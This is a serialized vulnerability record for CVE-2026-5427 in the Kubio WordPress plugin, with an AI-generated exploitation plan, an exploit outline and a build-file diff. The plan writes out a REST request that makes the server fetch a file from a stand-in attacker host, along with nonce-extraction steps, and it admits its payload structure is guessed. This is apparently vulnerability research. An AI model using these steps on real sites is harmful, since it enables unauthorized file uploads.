[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fITbgKkeBUpRneFEaJ-cTvZEwHlp5prD99AUzJ1PnydQ":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":9,"research_fix_diff":35,"research_exploit_outline":36,"research_model_used":37,"research_started_at":38,"research_completed_at":39,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":40},"CVE-2026-5427","kubio-ai-page-builder-missing-authorization-to-authenticated-contributor-limited-file-upload-via-kubio-block-attributes","Kubio AI Page Builder \u003C= 2.7.2 - Missing Authorization to Authenticated (Contributor+) Limited File Upload via Kubio Block Attributes","The Kubio plugin for WordPress is vulnerable to Arbitrary File Upload in versions up to and including 2.7.2. This is due to insufficient capability checks in the kubio_rest_pre_insert_import_assets() function, which is hooked to the rest_pre_insert_{post_type} filter for posts, pages, templates, and template parts. When a post is created or updated via the REST API, Kubio parses block attributes looking for URLs in the 'kubio' attribute namespace and automatically imports them via importRemoteFile() without verifying the user has the upload_files capability. This makes it possible for authenticated attackers with Contributor-level access and above to bypass WordPress's normal media upload restrictions and upload files fetched from external URLs to the media library, creating attachment posts in the database.","kubio",null,"\u003C=2.7.2","2.7.3","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-04-16 15:06:55","2026-04-17 03:36:45",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fd8096f3c-e1a9-424f-af10-3e80212db985?source=api-prod",1,[22,23,24,25,26,27,28,29],"build\u002Fblock-editor\u002Findex.asset.php","build\u002Fblock-editor\u002Findex.js","build\u002Fblock-library\u002Fblocks-manifest.php","build\u002Fcontrols\u002Findex.asset.php","build\u002Fcontrols\u002Findex.js","build\u002Feditor\u002Findex.asset.php","build\u002Feditor\u002Findex.js","build\u002Feditor\u002Fstyle-rtl.css","researched",false,3,"# Exploitation Research Plan: CVE-2026-5427 - Kubio AI Page Builder Limited File Upload\n\n## 1. Vulnerability Summary\nThe Kubio AI Page Builder plugin (\u003C= 2.7.2) contains a missing authorization vulnerability in its handling of remote assets during post creation or update. Specifically, the function `kubio_rest_pre_insert_import_assets()` (inferred to be in the PHP backend, likely `includes\u002Frest\u002Frest-api.php` or similar) is hooked to the WordPress REST API filter `rest_pre_insert_{post_type}` (covering `post`, `page`, `wp_template`, and `wp_template_part`).\n\nWhen a user with Contributor-level permissions or higher creates or updates a post via the REST API, Kubio parses the block content. If it finds a URL within the `kubio` attribute namespace of a block, it automatically triggers `importRemoteFile()` to fetch and sideload the file into the WordPress Media Library. The plugin fails to verify if the requesting user possesses the `upload_files` capability, allowing Contributors (who normally cannot upload files) to populate the media library and create attachment posts using external URLs.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-json\u002Fwp\u002Fv2\u002Fposts` (or `\u002Fwp-json\u002Fwp\u002Fv2\u002Fpages`)\n- **HTTP Method:** `POST`\n- **Authentication Required:** Authenticated, Contributor-level or higher.\n- **Vulnerable Parameter:** `content` (containing Gutenberg block comments with Kubio-specific JSON attributes).\n- **Payload Structure:** A Gutenberg block comment for a Kubio block where the `kubio` attribute contains a URL.\n- **Preconditions:** The Kubio plugin must be active. The attacker must have a valid session cookie and a `wp_rest` nonce.\n\n## 3. Code Flow\n1.  **Entry Point:** An authenticated user sends a `POST` request to create\u002Fupdate a post via the WordPress REST API.\n2.  **Filter Trigger:** WordPress executes `rest_pre_insert_post`.\n3.  **Plugin Hook:** Kubio's `kubio_rest_pre_insert_import_assets()` is triggered.\n4.  **Parsing:** The function iterates through the Gutenberg blocks in the post content.\n5.  **Attribute Detection:** It looks for the `kubio` attribute key in the block's JSON metadata.\n6.  **Sideloading:** If a URL is found in specific sub-keys (e.g., `url`, `src`, or within a `background` object), the plugin calls `importRemoteFile()`.\n7.  **Sink:** `importRemoteFile()` uses `wp_remote_get()` to fetch the file and `wp_handle_sideload()` (or similar) to save it to `wp-content\u002Fuploads\u002F` and create an attachment post.\n8.  **Missing Check:** No call to `current_user_can('upload_files')` is made before the sideloading process begins.\n\n## 4. Nonce Acquisition Strategy\nREST API requests in WordPress require the `wp_rest` nonce for authenticated users.\n\n1.  **User Creation:** Use WP-CLI to create a Contributor user.\n2.  **Login:** Use `browser_navigate` and `browser_type` to log into `\u002Fwp-login.php`.\n3.  **Extraction:** Navigate to the `\u002Fwp-admin\u002F` dashboard.\n4.  **Script Execution:** Use `browser_eval` to extract the `wp_rest` nonce from the `wpApiSettings` global variable:\n    - `browser_eval(\"window.wpApiSettings?.nonce\")`\n5.  **Alternative:** If `wpApiSettings` is unavailable, extract it from the post editor page:\n    - `browser_eval(\"wp.apiFetch.nonceMiddleware?.nonce\")`\n\n## 5. Exploitation Strategy\n### Step 1: Prepare Remote File\nHost a file (e.g., `test-image.png`) on an external server or a simple Python listener accessible by the WordPress instance.\n\n### Step 2: Craft the REST API Request\nSend a request to create a new draft post containing a Kubio block.\n\n**Request Details:**\n- **URL:** `http:\u002F\u002F\u003Ctarget>\u002Fwp-json\u002Fwp\u002Fv2\u002Fposts`\n- **Method:** `POST`\n- **Headers:**\n    - `Content-Type: application\u002Fjson`\n    - `X-WP-Nonce: \u003CEXTRACTED_NONCE>`\n    - `Cookie: \u003CCONTRIBUTOR_COOKIES>`\n- **Body:**\n```json\n{\n  \"title\": \"Exploit Post\",\n  \"status\": \"draft\",\n  \"content\": \"\u003C!-- wp:kubio\u002Fimage {\\\"kubio\\\":{\\\"image\\\":{\\\"url\\\":\\\"http:\u002F\u002F\u003CATTACKER_IP>\u002Ftest-image.png\\\"}}} -->\u003Cdiv class=\\\"wp-block-kubio-image\\\">\u003C\u002Fdiv>\u003C!-- \u002Fwp:kubio\u002Fimage -->\"\n}\n```\n*Note: The exact nesting within the `kubio` attribute (e.g., `{\"image\": {\"url\": \"...\"}}`) is inferred from common Kubio block structures and may need adjustment based on real-time observation of the plugin's block format.*\n\n### Step 3: Trigger the Upload\nSubmit the request. The server should return a `201 Created` response.\n\n## 6. Test Data Setup\n1.  **Plugin:** Install and activate `kubio` version 2.7.2.\n2.  **User:** `wp user create attacker attacker@example.com --role=contributor --user_pass=password`\n3.  **Remote Asset:** Ensure a file is available at a reachable URL (e.g., `http:\u002F\u002Fattacker.local\u002Fpoc.jpg`).\n\n## 7. Expected Results\n1.  The REST API response confirms the post was created.\n2.  During the post-processing, Kubio logs (if enabled) will show a request to the external URL.\n3.  A new attachment post (type `attachment`) will be created in the `wp_posts` table.\n4.  The file `poc.jpg` will exist in the `\u002Fwp-content\u002Fuploads\u002FYYYY\u002FMM\u002F` directory.\n\n## 8. Verification Steps\nAfter the HTTP request, verify success via WP-CLI:\n1.  **Check Attachments:** `wp post list --post_type=attachment`\n    - Expected: A new attachment titled \"poc\" or similar should appear.\n2.  **Check Metadata:** `wp post meta list \u003CATTACHMENT_ID>`\n    - Expected: Metadata such as `_wp_attached_file` should point to the newly downloaded file.\n3.  **Check Filesystem:** `ls -R \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fuploads\u002F`\n    - Expected: The file from the external URL should be present.\n\n## 9. Alternative Approaches\nIf the `wp:kubio\u002Fimage` block structure is incorrect:\n- **Try Generic Kubio Block:** Use `\u003C!-- wp:kubio\u002Fblock {\"kubio\": {\"url\": \"...\"}} -->`.\n- **Try Background Attribute:** Kubio often uses background settings. Try:\n  `\"kubio\": {\"background\": {\"image\": {\"url\": \"...\"}}}`\n- **Observe Legitimate Request:** Use the `browser_navigate` tool to log in as an Admin, create a post with a Kubio image block, and use `browser_eval` or Network tab inspection to see the exact JSON structure the plugin expects.\n- **Template Parts:** Try hitting the `\u002Fwp-json\u002Fwp\u002Fv2\u002Ftemplates` or `\u002Fwp-json\u002Fwp\u002Fv2\u002Ftemplate-parts` endpoints, as these are also listed as affected in the vulnerability description.","The Kubio AI Page Builder plugin for WordPress (\u003C= 2.7.2) allows authenticated users with Contributor-level access and above to sideload arbitrary files from remote URLs into the media library. This is due to a missing authorization check in the `kubio_rest_pre_insert_import_assets()` function, which automatically processes and imports URLs found within the 'kubio' block attribute namespace during REST API post operations.","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fkubio\u002F2.7.2\u002Fbuild\u002Fblock-editor\u002Findex.asset.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fkubio\u002F2.7.3\u002Fbuild\u002Fblock-editor\u002Findex.asset.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fkubio\u002F2.7.2\u002Fbuild\u002Fblock-editor\u002Findex.asset.php\t2025-12-02 12:24:44.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fkubio\u002F2.7.3\u002Fbuild\u002Fblock-editor\u002Findex.asset.php\t2026-04-15 06:03:54.000000000 +0000\n@@ -1 +1 @@\n-\u003C?php return array('dependencies' => array('kubio-constants', 'kubio-core-hooks', 'kubio-editor-data', 'kubio-icons', 'kubio-log', 'kubio-pro', 'kubio-utils', 'lodash', 'react', 'react-dom', 'wp-a11y', 'wp-api-fetch', 'wp-blob', 'wp-block-serialization-default-parser', 'wp-blocks', 'wp-commands', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-is-shallow-equal', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-notices', 'wp-polyfill', 'wp-preferences', 'wp-primitives', 'wp-priority-queue', 'wp-rich-text', 'wp-token-list', 'wp-url', 'wp-warning'), 'version' => '1f3a0b37498a8dcd8ea5');\n+\u003C?php return array('dependencies' => array('kubio-constants', 'kubio-core-hooks', 'kubio-editor-data', 'kubio-icons', 'kubio-log', 'kubio-pro', 'kubio-utils', 'lodash', 'react', 'react-dom', 'wp-a11y', 'wp-api-fetch', 'wp-blob', 'wp-block-serialization-default-parser', 'wp-blocks', 'wp-commands', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-is-shallow-equal', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-notices', 'wp-polyfill', 'wp-preferences', 'wp-primitives', 'wp-priority-queue', 'wp-rich-text', 'wp-token-list', 'wp-url', 'wp-warning'), 'version' => '4f8cf8b0e56aa0fddae9');\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fkubio\u002F2.7.2\u002Fbuild\u002Fblock-editor\u002Findex.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fkubio\u002F2.7.3\u002Fbuild\u002Fblock-editor\u002Findex.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fkubio\u002F2.7.2\u002Fbuild\u002Fblock-editor\u002Findex.js\t2025-12-02 12:24:44.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fkubio\u002F2.7.3\u002Fbuild\u002Fblock-editor\u002Findex.js\t2026-04-15 06:03:54.000000000 +0000\n@@ -12,7 +12,7 @@\n \u002F\u002F translators: %s: area label\n (0,Je.__)(\"Change the %s\",\"kubio\"),e)})]})]})}},Rd={ALL_PAGES:\"allPages\",THIS_PAGE:\"thisPage\"};function Nd(e){return e?ue().cloneDeep(e).map((e=>{const t=Nd(e.innerBlocks);return{...e,innerBlocks:t}})):e}function Ad(e,t){let n=e.find((e=>(null==e?void 0:e.name)===t));return n||(e.forEach((e=>{if(n)return;(null==e?void 0:e.name)===t&&(n=e);const o=ue().get(e,\"innerBlocks\");if(Array.isArray(o)){const e=Ad(o,t);e&&(n=e)}})),n)}const Ld=window.kubio.editorData,Dd=\"kubio\u002Ftemplates\";const Od=[\"header\",\"footer\",\"sidebar\"];function zd({onClose:e=ue().noop,onSuccess:t=ue().noop,area:n,innerBlocks:o,isFSEFrontPageButDoesNotHaveFrontPageTemplate:i=!1}){const[l,r]=(0,u.useState)(Rd.THIS_PAGE),s=(0,d.useSelect)((e=>{var t,o;if(Od.includes(n))return n;const{getBlock:i}=e(\"core\u002Fblock-editor\"),{getEntityRecord:l,getCurrentTheme:r}=e(\"core\"),s=null===(t=r())||void 0===t?void 0:t.stylesheet,a=i(n),c=l(\"postType\",\"wp_template_part\",`${s}\u002F\u002F${null==a||null===(o=a.attributes)||void 0===o?void 0:o.slug}`);return null==c?void 0:c.area})),{onNewTemplate:a,pageTitle:p,isFrontPage:h}=function({type:e,innerBlocks:t,applyTemplateOn:n}){const{storeData:o={},computedData:i={}}=(0,d.useSelect)((e=>e(Dd).getTemplateData()),[]),{currentPage:l={},postId:r,postType:s,templates:a}=o,{configPerType:p={}}=i,{pageTitle:h,isFrontPage:g,getEntityRecords:m}=(0,d.useSelect)((e=>{var t;const{getEntityRecord:n,getEntityRecords:o,getEditedEntityRecord:i}=e(\"core\"),l=n(\"postType\",s,r),a=null==l||null===(t=l.title)||void 0===t?void 0:t.raw,c=i(\"root\",\"site\");return{pageTitle:a,isFrontPage:(null==c?void 0:c.page_on_front)==r,getEntityRecords:o}})),f=(0,u.useRef)(!1),v=(0,u.useRef)(!1),b=[\"kubio-full-width\",\"full-width\"],k=(0,u.useMemo)((()=>a.find((e=>b.includes(e.slug)))),[JSON.stringify(a)]),_=ue().get(p,e,{}),y=ue().get(_,\"label\",\"Part\"),x=ue().get(_,\"blockName\"),{editEntityRecord:S,saveEntityRecord:w,saveEditedEntityRecord:C}=(0,d.useDispatch)(\"core\"),{setPage:B}=(0,d.useDispatch)(\"kubio\u002Fedit-site\"),{createErrorNotice:I,createSuccessNotice:j}=function(){const{createErrorNotice:e,createSuccessNotice:t}=(0,d.useDispatch)(\"core\u002Fnotices\");return{createSuccessNotice:(e,n)=>t(e,{type:\"snackbar\",...n}),createErrorNotice:(t,n)=>e(t,{type:\"snackbar\",...n})}}();function E(){throw\"Error\"}const T=(0,u.useRef)(),P=(0,Ld.useSetGlobalSessionProp)(\"ready\"),M=()=>{clearTimeout(T.current),T.current=setTimeout((()=>{\tP(!0)}),3e3)},R=async e=>{const{link:t}=l;let n;try{const e=new URL(t);e.searchParams.append(\"random\",Math.random());const o=e.toString();n=(0,qn.getPathAndQueryString)(o)}catch(e){}finally{M()}await B({path:n,context:{postType:s,postId:r}},e)};return{onNewTemplate:async(o=`${h} template`)=>{try{var i;if(f.current)return;f.current=!0,clearTimeout(T.current),P(!1);const l=Nd((0,c.parse)(null==k||null===(i=k.content)||void 0===i?void 0:i.raw)),a={};let u,d,p,b=!1;if(g)p=!1,u=(0,Je.__)(\"Front Page\",\"kubio\"),d=\"front-page\",a.kubio_template_source=\"kubio\";else if(n===Rd.ALL_PAGES){const e=m(\"postType\",\"wp_template\",{per_page:-1}).find((e=>\"page\"===e.slug));if(e)return async function(e){var n;const o=Ad(Nd((0,c.parse)(null==e||null===(n=e.content)||void 0===n?void 0:n.raw)),x),i=ue().get(o,[\"attributes\",\"slug\"]),l=`${ue().get(o,[\"attributes\",\"theme\"])}\u002F\u002F${i}`,a={content:(0,c.serialize)(t)};return await S(\"postType\",\"wp_template_part\",l,a),await C(\"postType\",\"wp_template_part\",l),await S(\"postType\",s,r,{template:\"\"}),await R(e),!0}(e);p=!1,u=\"Page\",d=\"page\",a.kubio_template_source=\"kubio\",b=!0}else p=!0,u=o,d=`${s}-${u}`;let _=`${u}-${e}`;if(b)switch(e){case\"header\":_=\"header\";break;case\"footer\":_=\"footer\"}if(g)switch(e){case\"header\":_=\"front-header\";break;case\"footer\":_=\"footer\"}const B=await async function(){try{if(v.current)return;v.current=!0;const n=`${h} ${e}`,o={title:n,slug:n,area:e,kubio_template_source:\"kubio-custom\",content:(0,c.serialize)(t)};return await w(\"postType\",\"wp_template_part\",o)}catch(e){I((0,Je.sprintf)(\u002F\u002F translators: %s: type label\n \u002F\u002F translators: %s: type label\n-(0,Je.__)(\"Could not create new %s. Please try again later\",\"kubio\"),y))}finally{v.current=!1}}();B||E();const M=ue().get(B,\"slug\"),N=Ad(l,x);ue().set(N,[\"attributes\",\"slug\"],M),p&&(a.kubio_template_source=\"kubio-custom\");const A={title:u,slug:d,content:(0,c.serialize)(l),...a},L=await w(\"postType\",\"wp_template\",A);return L&&null!=L&&L.slug||E(),g||n===Rd.ALL_PAGES||await S(\"postType\",s,r,{template:null==L?void 0:L.slug}),(b||g)&&await S(\"postType\",s,r,{template:\"\"}),await R(L),j((0,Je.__)(\"New template created successfully\",\"kubio\")),L}catch(e){M(),I((0,Je.__)(\"Could not create new template. Please try again later\",\"kubio\"))}finally{f.current=!1}},pageTitle:h,isFrontPage:g}}({type:s,innerBlocks:o,isFSEFrontPageButDoesNotHaveFrontPageTemplate:i,applyTemplateOn:l,setApplyTemplateOn:r}),g=h?Pd:Td,[m,f]=(0,u.useState)(g),v=()=>{e()},b=async n=>{e(),await a(n)&&t()};if((0,u.useEffect)((()=>{\ti&&b()}),[i]),i)return null;const k=s,_=s===(0,Je.__)(\"header\",\"kubio\")?(0,Je.__)(\"footer\",\"kubio\"):(0,Je.__)(\"header\",\"kubio\"),y=function(e){switch(e){case Td:return(0,Je.__)(\"Apply for all pages?\",\"kubio\");case Pd:return(0,Je.__)(\"New template required\",\"kubio\")}}(m);return(0,At.jsx)(ne.Modal,{title:y,onRequestClose:v,children:(0,At.jsx)(\"div\",{className:\"kubio-inserter-ignore-click-outisde kubio-classic-theme-create-template-modal\",children:(0,At.jsx)(Ed,{areaLabel:k,otherAreaLabel:_,onCloseModal:v,onInsert:b,pageTitle:p,applyTemplateOn:l,setApplyTemplateOn:r,currentStep:m,setStep:f,isFrontPage:h})})})}","1. Gain Contributor-level authenticated access to the target WordPress site.\n2. Obtain the required REST API nonce (usually from the `wp-admin` source code or the `wpApiSettings` JavaScript variable).\n3. Use the WordPress REST API to create a new draft post or update an existing one by sending a POST request to `\u002Fwp-json\u002Fwp\u002Fv2\u002Fposts`.\n4. Within the `content` parameter, include a Kubio block (e.g., `wp:kubio\u002Fimage`) that contains a remote URL inside the `kubio` JSON attribute object (e.g., `\"kubio\": {\"image\": {\"url\": \"http:\u002F\u002Fattacker-controlled-server.com\u002Fmalicious-file.png\"}}`).\n5. The plugin's server-side logic will parse the block content, find the URL, and execute `importRemoteFile()` to download and sideload the file into the WordPress Media Library without verifying the user's `upload_files` capability.","gemini-3-flash-preview","2026-04-20 20:23:51","2026-04-20 20:24:18",{"type":41,"vulnerable_version":42,"fixed_version":11,"vulnerable_browse":43,"vulnerable_zip":44,"fixed_browse":45,"fixed_zip":46,"all_tags":47},"plugin","2.7.2","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fkubio\u002Ftags\u002F2.7.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fkubio.2.7.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fkubio\u002Ftags\u002F2.7.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fkubio.2.7.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fkubio\u002Ftags"]